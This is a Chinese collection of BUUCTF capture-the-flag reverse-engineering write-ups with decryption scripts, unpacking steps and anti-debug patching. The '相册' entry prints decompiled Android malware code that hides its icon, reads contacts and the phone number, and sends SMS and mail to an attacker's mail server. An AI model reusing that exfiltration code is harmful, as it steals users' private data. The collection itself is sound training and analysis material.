buu001-easyre
直接用IDA打开,main函数里面就是。
buu002-reverse1
用IDA打开通过输出字符串定位到输入部分,flag在字符串中直接就有。
buu003-reverse2
用IDA打开,这是一个Linux ELF文件,在main函数中首先把flag里面的i和r替换成1就行了。
buu004-内涵的软件
用IDA打开,把DBAPP改成flag就行了。
buu005-新年快乐
这道题是使用了UPX进行了压缩加壳,只需要用UPX工具解压即可得到flag。
UPX使用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 PS E:\...\upx-4.0.2-win64> .\upx.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file.. Commands: -1 compress faster -9 compress better -d decompress -l list compressed file -t test compressed file -V display version number -h give more help -L display software license Options: -q be quiet -v be verbose -oFILE write output to 'FILE' -f force compression of suspicious files -k keep backup files file.. executables to (de)compress Type 'upx --help' for more detailed help. UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
buu006-xor
这道题进行了一个简单的异或操作,将前一个字符与后一个字符异或。
解密脚本:
1 2 3 4 5 6 7 cipher = '\x66\x0A\x6B\x0C\x77\x26\x4F\x2E\x40\x11\x78\x0D\x5A\x3B\x55\x11\x70\x19\x46\x1F\x76\x22\x4D\x23\x44\x0E\x67\x06\x68\x0F\x47\x32\x4F' plaintext = ['f' ] for i in range (len (cipher) - 1 ): plaintext.append(chr (ord (cipher[i]) ^ ord (cipher[i+1 ]))) print ('' .join(plaintext))
buu007-helloword
这道题是一个apk文件的逆向,可以使用Jadx的Intellij插件进行反编译,直接获得flag。
buu008-reverse3
这道题是一个base64编码程序,实际上不需要对代码进行全部逆向分析,只需要通过动态调试即可得知。在编码之后,程序还进行了另一种处理:对索引为x的字节的ASCII码加x,然后与事先保存的字符串比较。可写出下列解密程序:
1 2 3 4 5 6 7 8 9 10 11 import base64cipher = 'e3nifIH9b_C@n@dH' dec_1 = [] for i in range (len (cipher)): dec_1.append(chr (ord (cipher[i]) - i)) dec_1 = '' .join(dec_1) print (base64.b64decode(dec_1))
buu009-不一样的flag
走迷宫。按照0的路线走即可。
1 2 3 4 5 #1111 01000 01010 00010 1111#
buu010-SimpleRev
一个简单的转换。python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 key = 'adsfkndcls' text = 'killshadow' answer = [] * 10 k = 10 for i in range (10 ): for j in range (128 ): if not (0x40 < j <= 0x40 + 26 or 0x60 < j <= 0x60 + 26 ): continue if chr ((j - 39 - ord (key[k % 10 ]) + 97 ) % 26 + 97 ) == text[i] and (0x40 < j <= 0x40 +26 ): answer.append(chr (j)) k += 1 break print ('' .join(answer))
buu011-Java逆向解密
用Intellij反编译class文件,一个简单的字节加密。
buu012-[GXYCTF2019]luck_guy
脚本:
1 2 3 4 5 6 7 8 9 former = 'GXY{do_not_' x = 'icug`of\x7F' t = [] * 8 for i in range (len (x)): if (i % 2 == 1 ): t.append(chr (ord (x[i]) - 2 )) else : t.append(chr (ord (x[i]) - 1 )) print (former + '' .join(t))
buu013-[BJDCTF2020]JustRE
要点19999次才能获得flag,用Shift+F12直接找到flag。
buu014-刮开有奖
这道题的DialogFunc函数里面有一个sub_4010F0函数,里面对一个长度为10的数组进行了处理,直接把伪代码拷到Dev里面执行得到结果,下面还有一个是base64编码,然后可以根据判断条件把flag拼出来。
buu015-简单注册器
直接用jadx打开,把flag生成的代码直接复制到Java执行即可。
buu016-[GWCTF 2019]pyre
这是一个pyc的python字节码逆向,安装undecompyle进行反编译。
undecompyle x.pyc > x.py
然后逆向解密即可。
buu017-[ACTF新生赛2020]easyre
又是一个UPX加壳,直接脱壳逆向。
1 2 3 4 5 6 7 8 9 x = "*F'\"N,\"(I?+@" data = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"' answer = ['A' , 'C' , 'T' , 'F' , '{' ] for i in range (12 ): for j in range (1 , len (data) + 1 ): if x[i] == data[j - 1 ]: answer.append(chr (j)) answer.append('}' ) print ('' .join(answer))
buu018-findit
jadx反编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class main { public static void main (String[] args) { final char [] a = {'T' , 'h' , 'i' , 's' , 'I' , 's' , 'T' , 'h' , 'e' , 'F' , 'l' , 'a' , 'g' , 'H' , 'o' , 'm' , 'e' }; final char [] b = {'p' , 'v' , 'k' , 'q' , '{' , 'm' , '1' , '6' , '4' , '6' , '7' , '5' , '2' , '6' , '2' , '0' , '3' , '3' , 'l' , '4' , 'm' , '4' , '9' , 'l' , 'n' , 'p' , '7' , 'p' , '9' , 'm' , 'n' , 'k' , '2' , '8' , 'k' , '7' , '5' , '}' }; char [] x = new char [17 ]; char [] y = new char [38 ]; for (int i = 0 ; i < 17 ; i++) { if ((a[i] < 'I' && a[i] >= 'A' ) || (a[i] < 'i' && a[i] >= 'a' )) { x[i] = (char ) (a[i] + 18 ); } else if ((a[i] < 'A' || a[i] > 'Z' ) && (a[i] < 'a' || a[i] > 'z' )) { x[i] = a[i]; } else { x[i] = (char ) (a[i] - '\b' ); } } for (int i2 = 0 ; i2 < 38 ; i2++) { if ((b[i2] < 'A' || b[i2] > 'Z' ) && (b[i2] < 'a' || b[i2] > 'z' )) { y[i2] = b[i2]; } else { y[i2] = (char ) (b[i2] + 16 ); if ((y[i2] > 'Z' && y[i2] < 'a' ) || y[i2] >= 'z' ) { y[i2] = (char ) (y[i2] - 26 ); } } } System.out.println(y); } }
buu019-rsa
一道crypto的题,用yafu可以分解他给的公钥,然后解密。
buu020-[ACTF新生赛2020]rome
首先用UPX脱壳,然后逆向就行了,就是一个凯撒加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tar = 'Qsw3sj_lz4_Ujw@l' answer = [] for i in range (16 ): for j in range (128 ): k = 0 if 64 < j <= 90 : k = (j - 51 ) % 26 + 65 elif 96 < j <= 122 : k = (j - 79 ) % 26 + 97 else : k = j if k == ord (tar[i]): answer.append(chr (j)) break print ('' .join(answer))
buu021-[FlareOn4]login
还是凯撒加密,不过是JS代码审计。位移13位。
buu022-CrackRTF
这题进行了2次哈希,第1次是SHA哈希,第2次是MD5哈希。第1次只能输入整数,第2次输入不限,对第2次输入的暴力可能需要的时间比较长。
buu023-[WUSTCTF2020]level1
直接逆,不解释了。
1 2 3 4 5 6 7 output = [198 , 232 , 816 , 200 , 1536 , 300 , 6144 , 984 , 51200 , 570 , 92160 , 1200 , 565248 , 756 , 1474560 , 800 , 6291456 , 1782 , 65536000 ] for i in range (len (output)): if i & 1 == 0 : output[i] >>= i+1 else : output[i] //= i+1 print ('' .join([chr (o) for o in output]))
buu024-[GUET-CTF2019]re
这题可以使用Detect It Easy工具检测到UPX加壳,然后脱壳逆向。
不知道为什么flag里面有一个字节不给,还得爆破。
flag{e165421110ba03099a1c039337}
buu025-[2019红帽杯]easyRE
这题是一个Linux静态编译的文件,关键就是要理清楚一些库函数的功能。
1 2 3 4 5 6 7 8 9 while ( v3 < v5 - 2 ){ *(_BYTE *)(v7 + v3) = alphabet[(unsigned __int8)a1[v4] >> 2 ]; *(_BYTE *)(v7 + v3 + 1LL ) = alphabet[(16 * (a1[v4] & 3 )) | ((unsigned __int8)a1[v4 + 1 ] >> 4 )]; *(_BYTE *)(v7 + v3 + 2LL ) = alphabet[(4 * (a1[v4 + 1 ] & 0xF )) | ((unsigned __int8)a1[v4 + 2 ] >> 6 )]; *(_BYTE *)(v7 + v3 + 3LL ) = alphabet[a1[v4 + 2 ] & 0x3F ]; v4 += 3 ; v3 += 4 ; }
在sub_0x400E44
函数里面找到上面这块代码,明显能看出是用来base64编码的,因此改名为base64_encode
。
然后在main函数里面找到这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 v18 = __readfsqword(0x28 u); qmemcpy(secret, "Iodl>Qnb(ocy" , 12 ); secret[12 ] = 0x7F ; qmemcpy(&secret[13 ], "y.i" , 3 ); secret[16 ] = 0x7F ; qmemcpy(&secret[17 ], "d`3w}wek9{iy=~yL@EC" , 19 ); memset (input, 0 , sizeof (input)); read(0LL , input, 0x25 uLL); input[36 ] = 0 ; LODWORD(v0) = strlen (input); if ( v0 == 36 ) { for ( i = 0 ; ; ++i ) { LODWORD(v1) = strlen (input); if ( i >= v1 ) break ; if ( (unsigned __int8)(input[i] ^ i) != secret[i] ) goto LABEL_9; } ... }
就是一个字符串解密,用下面的脚本进行解密:
1 2 3 4 5 6 7 secret = 'Iodl>Qnb(ocy\x7fy.i\x7fd`3w}wek9{iy=~yL@EC' plaintext = '' for i in range (len (secret)): plaintext += chr (ord (secret[i]) ^ i) print (plaintext)
得到字符串为:Info:The first four chars are flag
这个是第一步,然后还有第二步,第二步看似是一个base64,编码编了10层之后出来一个网址,但这个网址是骗人的,flag在其他的地方。
https://bbs.kanxue.com/thread-254172.htm
在0x6CC0A0处还发现了一个可疑的东西,可能与flag有关系。这个东西在sub_400D35
里面被引用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned __int64 sub_400D35 () { unsigned __int64 result; unsigned int v1; int i; int j; unsigned int v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); v1 = time(0LL ) - qword_6CEE38; for ( i = 0 ; i <= 1233 ; ++i ) { sub_40F790(v1); sub_40FE60(); sub_40FE60(); v1 = sub_40FE60() ^ 0x98765432 ; } v4 = v1; if ( ((unsigned __int8)v1 ^ real_secret[0 ]) == 'f' && (HIBYTE(v4) ^ real_secret[3 ]) == 'g' ) { for ( j = 0 ; j <= 24 ; ++j ) sub_410E90((unsigned __int8)(real_secret[j] ^ *((_BYTE *)&v4 + j % 4 ))); } result = __readfsqword(0x28 u) ^ v5; if ( result ) sub_444020(); return result; }
这里面判断了第一个字母和第四个字母,由此可以发现这个加密的原理。
1 2 3 4 5 6 7 8 __int64 sub_4009AE () { __int64 result; result = time(0LL ); qword_6CEE38 = result; return result; }
qword_6CEE38
这个变量只在两个地方被引用,发现其值就是time(0)
,因此v1
的值应该是0才对。实际上我们根本就不用管上面的逻辑,看if语句就可以知道v1和v4的值应该是什么。
v1=0x26,HIBYTE(v4)=0x31。
后面有个for循环,以4个字节为循环,将real_secret
中的内容与v4
异或。因为前4个字节是flag
,所以v4
的值实际上可以获取到,为0x31415926,还是个挺吉利的数字。然后我们就可以写脚本拿到真正的flag了:
1 2 3 4 5 6 7 8 secret = '@5 V]\x18"E\x17/$nb<\x27THl$nr<2E[' mask = '\x26\x59\x41\x31' plaintext = '' for i in range (len (secret)): plaintext += chr (ord (secret[i]) ^ ord (mask[i%4 ])) print (plaintext)
拿到flag:flag{Act1ve_Defen5e_Test}
这题逻辑挺简单,就是一个简单的加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { char Str[104 ]; int j; int i; sub_402230(); printf ("Give me your code:\n" ); scanf ("%s" , Str); if ( strlen (Str) != 33 ) { printf ("Wrong!\n" ); system("pause" ); exit (0 ); } for ( i = 0 ; i <= 32 ; ++i ) { input[i] = Str[mask[i]]; input[i] ^= LOBYTE(mask[i]); } for ( j = 0 ; j <= 32 ; ++j ) { if ( cipher[j] != input[j] ) { printf ("Wrong!\n" ); system("pause" ); exit (0 ); } } printf ("Right!Good Job!\n" ); printf ("Here is your flag: %s\n" , Str); system("pause" ); return 0 ; }
直接上脚本:
1 2 3 4 5 6 7 8 9 10 11 mask = [9 , 0x0a , 0x0f , 0x17 , 7 , 0x18 , 0x0c , 6 , 1 , 0x10 , 3 , 0x11 , 0x20 , 0x1d , 0x0b , 0x1e , 0x1b , 0x16 , 4 , 0x0d , 0x13 , 0x14 , 0x15 , 2 , 0x19 , 5 , 0x1f , 8 , 0x12 , 0x1a , 0x1c , 0x0e , 0 ] cipher = 'gy{\x7fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM' plaintext = ['a' ] * len (mask) for i in range (len (mask)): c = ord (cipher[i]) c ^= mask[i] plaintext[mask[i]] = chr (c) print ('' .join(plaintext))
结果MRCTF{TrEnsp0sltiON_Clph3r_1s_3z},buu平台要改成flag开头。
buu027-[WUSTCTF2020]level2
这题用detect it easy扫出来也是upx加壳的,脱一下就拿到了。
buu028-[SUCTF2019]SignIn
这题就是纯纯的密码题,把输入转成大数i,给e、m、r,求i使得(i^e)%m=r。复习一下残缺不全的密码学知识…
根据欧拉定理:x φ ( y ) ≡ 1 ( m o d y ) x^{\varphi(y)}\equiv 1\pmod y x φ ( y ) ≡ 1 ( m o d y )
模数的两个因数分别为282164587459512124844245113950593348271
和366669102002966856876605669837014229419
e d ≡ 1 ( m o d ( u − 1 ) ( v − 1 ) ) ed\equiv 1\pmod {(u-1)(v-1)} e d ≡ 1 ( m o d ( u − 1 ) ( v − 1 ) ) ,用扩展欧几里得来算。
1 2 3 4 5 6 7 8 9 10 11 12 import gmpy2if __name__ == '__main__' : m = 103461035900816914121390101299049044413950405173712170434161686539878160984549 u = 282164587459512124844245113950593348271 v = 366669102002966856876605669837014229419 e = 65537 cipher = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 d = gmpy2.invert(e, (u-1 )*(v-1 )) print (d) print (bytes .fromhex(hex (pow (cipher, d, m))[2 :]).decode())
suctf{Pwn_@_hundred_years}
FSSID:HIGDDEN_HOHTPOT PPASS:L0GIC_ANA1YSIS_CAN_FOR_FUN FSSID:HIGDDEN_HOHTPOT PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN
buu029-[ACTF新生赛2020]usualCrypt
这题实现了一个类似于base64的加密算法,3个字节输入,4个字节输出。从输出可知一共有27字节输入。进行类base64加密之后又翻转了大小写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 cipher = 'zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9' alphabet = 'ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/' plaintext = '' def find_char (c ): for i in range (len (alphabet)): if c == alphabet[i]: return i return -1 if __name__ == '__main__' : ''' input[0~2], output[0~3] (input[0]>>2) & 0x3F -> output[0] 16 * (input[0] & 3) + (input[1] >> 4) & 0xF -> output[1] 4 * (input[1] & 0xF) + (input[2] >> 6) & 3 -> output[2] input[2] & 0x3F -> output[3] input[0] = output[0] << 2 + output[1] & 3 0 1 2 3 4 5 0 0.2 0.3 0.4 0.5 0.6 0.7 1 1.4 1.5 1.6 1.7 0.0 0.1 2 2.6 2.7 1.0 1.1 1.2 1.3 3 2.0 2.1 2.2 2.3 2.4 2.5 ''' cipher2 = '' for i in cipher: if i.isalpha(): cipher2 += chr (ord (i) ^ 0x20 ) else : cipher2 += i cipher = cipher2 print (cipher2) for i in range (len (cipher) // 4 ): plaintext += chr ((find_char(cipher[i * 4 ]) << 2 ) + (find_char(cipher[i * 4 + 1 ]) >> 4 )) plaintext += chr (((find_char(cipher[i * 4 + 1 ]) & 0xF ) << 4 ) + (find_char(cipher[i * 4 + 2 ]) >> 2 )) plaintext += chr (((find_char(cipher[i * 4 + 2 ]) & 0x3 ) << 6 ) + find_char(cipher[i * 4 + 3 ])) print (plaintext)
flag{bAse64_h2s_a_Surprise}
buu030-[HDCTF2019]Maze
这道题首先用upx脱壳,然后发现操作很简单,就是wasd走迷宫,但是不要忽略程序里面有一个70字节的地图,如果不给地图直接走迷宫有很多种走法能到终点,但flag只有一个,所以必须按照迷宫的走法来走。
1 2 3 4 5 6 7 *******+** ******* ** **** ** ** ***** ** **F**** ** **** **********
flag{ssaaasaassdddw}
buu031-[MRCTF2020]Xor
一个简单的异或。
1 2 3 4 5 cipher = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g' plaintext = '' for i in range (0x1B ): plaintext += chr (ord (cipher[i]) ^ i) print (plaintext)
MRCTF{@_R3@1ly_E2_R3verse!}
buu032-[MRCTF2020]hello_world_go
开盖即送,但这是一个go写的程序,也值得进行分析。这里保留这个程序待后续分析。
flag{hello_world_gogogo}
buu033-Youngter-drive
这个程序首先一开始打不开,说缺少MSVCR100D.dll,这个在网上下一个就行了。然后双击一打开就死掉,用命令行打开发现会输出两个WARNING字符串,然后进入IDA查找相关字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 BOOL sub_411460 () { size_t v0; BOOL i; HANDLE hSnapshot; PROCESSENTRY32W pe; pe.dwSize = 556 ; hSnapshot = j_CreateToolhelp32Snapshot(2u , 0 ); for ( i = j_Process32FirstW(hSnapshot, &pe); i; i = j_Process32NextW(hSnapshot, &pe) ) { v0 = wcslen(pe.szExeFile); wcslwr_s(pe.szExeFile, v0 + 1 ); if ( !wcscmp(pe.szExeFile, L"ollyice.exe" ) ) { printf ("///////WARNING///////\n" ); exit (0 ); } if ( !wcscmp(pe.szExeFile, L"ollydbg.exe" ) ) { printf ("///////\nWARNING\n///////\n" ); exit (0 ); } if ( !wcscmp(pe.szExeFile, L"peid.exe" ) ) { printf ("///////\nWARNING\n///////\n" ); exit (0 ); } if ( !wcscmp(pe.szExeFile, L"ida.exe" ) ) { printf ("///////\nWARNING\n///////\n" ); exit (0 ); } if ( !wcscmp(pe.szExeFile, L"idaq.exe" ) ) { printf ("///////\nWARNING\n///////\n" ); exit (0 ); } } return CloseHandle(hSnapshot); }
在这个函数里面可以发现这个程序有反调试的机制,CreateToolhelp32Snapshot
这个WinAPI用于获取指定进程以及这些进程使用的堆、模块和线程的快照,参数传2表示TH32CS_SNAPPROCESS
,即系统中快照中的所有进程,他现在拿到了所有进程的快照,然后就一个个遍历。Process32FirstW
是返回系统快照中遇到的第一个进程的信息,Process32NextW
就是获取下一个进程信息。wcslen
是宽字符个数,wcslwr_s
是把字符串大写转小写,是wchar_string_lower
的缩写。然后下面判断如果进程名是ollyice
等5个用于程序分析和调试的程序就会输出WARNING然后退出。一开始程序中一共打印出了2个WARNING,这里只打印出来一个,首先把这个地方的反调试给禁用了再看另外一个在哪。禁用的最简单方式就是全改成nop
指令。框选这个函数里面除了retn
指令之外的所有指令,然后用keypatch的fill range功能就能一键修改成nop
。
然后程序就能够正常跑起来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PS D:\CTF-reverse\buu033-Youngter-drive> .\upxout.exe 1111111111111111111111111111111111111111111111111111111111111111111111111111111 ******************************************************************************* ************** **************************************************** ************** ******** ********************* ************* ************** ********* ********************* *************************** ************** ********* ********************* *************************** ************** ********* ********************* *************************** ************** ******* ********************** *************************** ************** **** ************************* *************************** ************** * *************************** ************** ************** *** ************************* *************************** ************** ****** *********************** *************************** ************** ******** ********************* *************************** ************** ********** ******************* *************************** ************** *********** ***************** ************* ******************************************************************************* 1111111111111111111111111111111111111111111111111111111111111111111111111111111 input flag:
找到打印这个banner的函数在sub_411BD0
,这个函数只有一个scanf
把用户输入保存到了一个全局变量Source
里面。这个函数是由main函数直接调用的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main_0 (int argc, const char **argv, const char **envp) { HANDLE Thread; HANDLE hObject; j_banner(); ::hObject = CreateMutexW(0 , 0 , 0 ); j_strcpy(Destination, &Source); hObject = CreateThread(0 , 0 , StartAddress, 0 , 0 , 0 ); Thread = CreateThread(0 , 0 , sub_41119F, 0 , 0 , 0 ); CloseHandle(hObject); CloseHandle(Thread); while ( dword_418008 != -1 ) ; sub_411190(); CloseHandle(::hObject); return 0 ; }
CreateMutexW
创建一个互斥锁,CreateThread
创建一个线程。这里查资料发现CreateThread
返回的是一个线程句柄,之后是可以立即通过CloseHandle
关闭句柄的,因为线程句柄和线程本身的生命周期不同,线程句柄被关闭并不意味着线程立即结束,所以如果一个线程不需要任何干预,在创建之后就关闭句柄即可。第一个线程的函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __stdcall __noreturn StartAddress_0 (int a1) { while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF ); if ( bytes_remained > -1 ) { sub_41112C(&Source, bytes_remained); --bytes_remained; Sleep(0x64 u); } ReleaseMutex(hObject); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 void __cdecl encrypter (char *buffer, int arg) { char byte; byte = buffer[arg]; if ( (byte < 'a' || byte > 'z' ) && (byte < 'A' || byte > 'Z' ) ) exit (0 ); if ( byte < 'a' || byte > 'z' ) buffer[arg] = Palphabet[0 ][buffer[arg] - 0x26 ]; else buffer[arg] = Palphabet[0 ][buffer[arg] - 0x60 ]; }
其中sub_41112C
中有这一段处理,规定所有输入只能为字母,然后进行了处理。而另一个线程的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 void __stdcall __noreturn sub_411B10 (int a1) { while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF ); if ( bytes_remained > -1 ) { Sleep(100u ); --bytes_remained; } ReleaseMutex(hObject); } }
这两个线程执行完之后,后面进行一次字符串比较,将输入处理后的字符串与TOiZiZtOrYaToUwPnToBsOaOapsyS
进行非直接比较。
1 2 3 4 5 6 7 8 9 10 11 int sub_411880 () { int i; for ( i = 0 ; i < 29 ; ++i ) { if ( *(&Source + i) != off_418004[i] ) exit (0 ); } return printf ("\nflag{%s}\n\n" , Destination); }
直接上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 alphabet = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm' cipher = 'TOiZiZtOrYaToUwPnToBsOaOapsyS' cipher1 = '' def find_char (c ): for i in range (len (alphabet)): if c == alphabet[i]: return i return -1 for i in range (29 ): if i % 2 == 0 : cipher1 += cipher[i] continue if find_char(cipher[i]) <= 26 : cipher1 += chr (find_char(cipher[i]) + 0x60 ) else : cipher1 += chr (find_char(cipher[i]) + 0x26 ) print (cipher1)
求出来一个高度疑似flag,但是交上去不对:flag{ThisisthreadofwindowshahaIsES}。于是彻底禁了反调试之后开调。发现输入的字符串处理完之后是这样:
1 2 ThisisthreadofwindowshahaIsES xhPsPsXhLeWdHfBiGdHwZhWhWIZEz
可见,第2、4、6、…个字符不变,那到底是什么地方出了问题呢?我换了一下处理的奇偶数,然后程序能输出flag,但是那个东西就纯粹拼不出来什么单词了,后来查wp才发现最后还有一位,那这就不是我的问题了。flag{ThisisthreadofwindowshahaIsESE}
buu034-[WUSTCTF2020]level3
一个换了表的base64,看到程序里面有个O_OLookAtYou
函数获取换表操作,换完直接解码。
wctf2020{Base64_is_the_start_of_reverse}
buu035-相册
一道Android逆向,用jadx打开后首先看AndroidMenifest.xml。
1 2 3 4 5 6 <activity android:label ="@string/app_name" android:icon ="@drawable/iocn" android:name ="cn.baidujiayuan.ver5304.C1" > <intent-filter > <category android:name ="android.intent.category.LAUNCHER" /> <action android:name ="android.intent.action.MAIN" /> </intent-filter > </activity >
找到上面这个项,这里的action是android.intent.action.MAIN
,因此确定了apk的入口是cn.baidujiayuan.ver5304.C1
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); getPackageManager().setComponentEnabledSetting(getComponentName(), 2 , 1 ); A2.log("安装后执行这个" ); startService(new Intent (this , M2.class)); readContacts(); SmsManager.getDefault(); ((TelephonyManager) getSystemService("phone" )).getLine1Number(); A2.sendMsg(C2.phoneNumber, A2.getInstallFlag(this , "" )); try { new SmsTas ("" , this ).execute(new Integer [0 ]); } catch (Exception e) { A2.log("邮件发送错误" ); } try { new MailTask ("" , this ).execute(new Integer [0 ]); } catch (Exception e2) { A2.log("邮件发送错误" ); } check(); }
这里面有一个sendMsg
方法,疑似是发送邮件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static int sendMailByJavaMail (String mailto, String title, String mailmsg) { if (!debug) { Mail m = new Mail (C2.MAILUSER, C2.MAILPASS); m.set_host(C2.MAILHOST); m.set_port(C2.PORT); m.set_debuggable(true ); m.set_to(new String []{mailto}); m.set_from(C2.MAILFROME); m.set_subject(title); m.setBody(mailmsg); try { if (m.send()) { Log.i("IcetestActivity" , "Email was sent successfully." ); } else { Log.i("IcetestActivity" , "Email was sent failed." ); } } catch (Exception e) { Log.e("MailApp" , "Could not send email" , e); } } return 1 ; }
这是在A2中发现的发送邮件的方法,其中有个MAILSERVER
,定位一下:
1 public static final String MAILSERVER = Base64.decode(NativeMethod.m());
是个Base64解码,不过解码的东西是NativeMethod.m()
在lib目录里面的libcore.so
里面找到了东西。能找到Java_com_net_cn_NativeMethod_m
这个函数,然后返回了一个base64值,解码即可。
buu036-[FlareOn4]IgniteMe
简单的windows x86程序,一个加密
1 2 3 4 5 6 7 8 9 10 11 12 13 cipher = [0x0D , 0x26 , 0x49 , 0x45 , 0x2A , 0x17 , 0x78 , 0x44 , 0x2B , 0x6C , 0x5D , 0x5E , 0x45 , 0x12 , 0x2F , 0x17 , 0x2B , 0x44 , 0x6F , 0x6E , 0x56 , 0x9 , 0x5F , 0x45 , 0x47 , 0x73 , 0x26 , 0x0A , 0x0D , 0x13 , 0x17 , 0x48 , 0x42 , 0x1 , 0x40 , 0x4D , 0x0C , 0x2 , 0x69 , 0x0 ] crc = 4 plaintext = [0 ] * 40 idx = 39 while idx >= 0 : plaintext[idx] = crc ^ cipher[idx] crc = plaintext[idx] idx -= 1 for i in plaintext[:-1 ]: print (chr (i), end="" )
flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}
buu037-[WUSTCTF2020]Cr0ssfun
wctf2020{cpp_@nd_r3verse_@re_fun}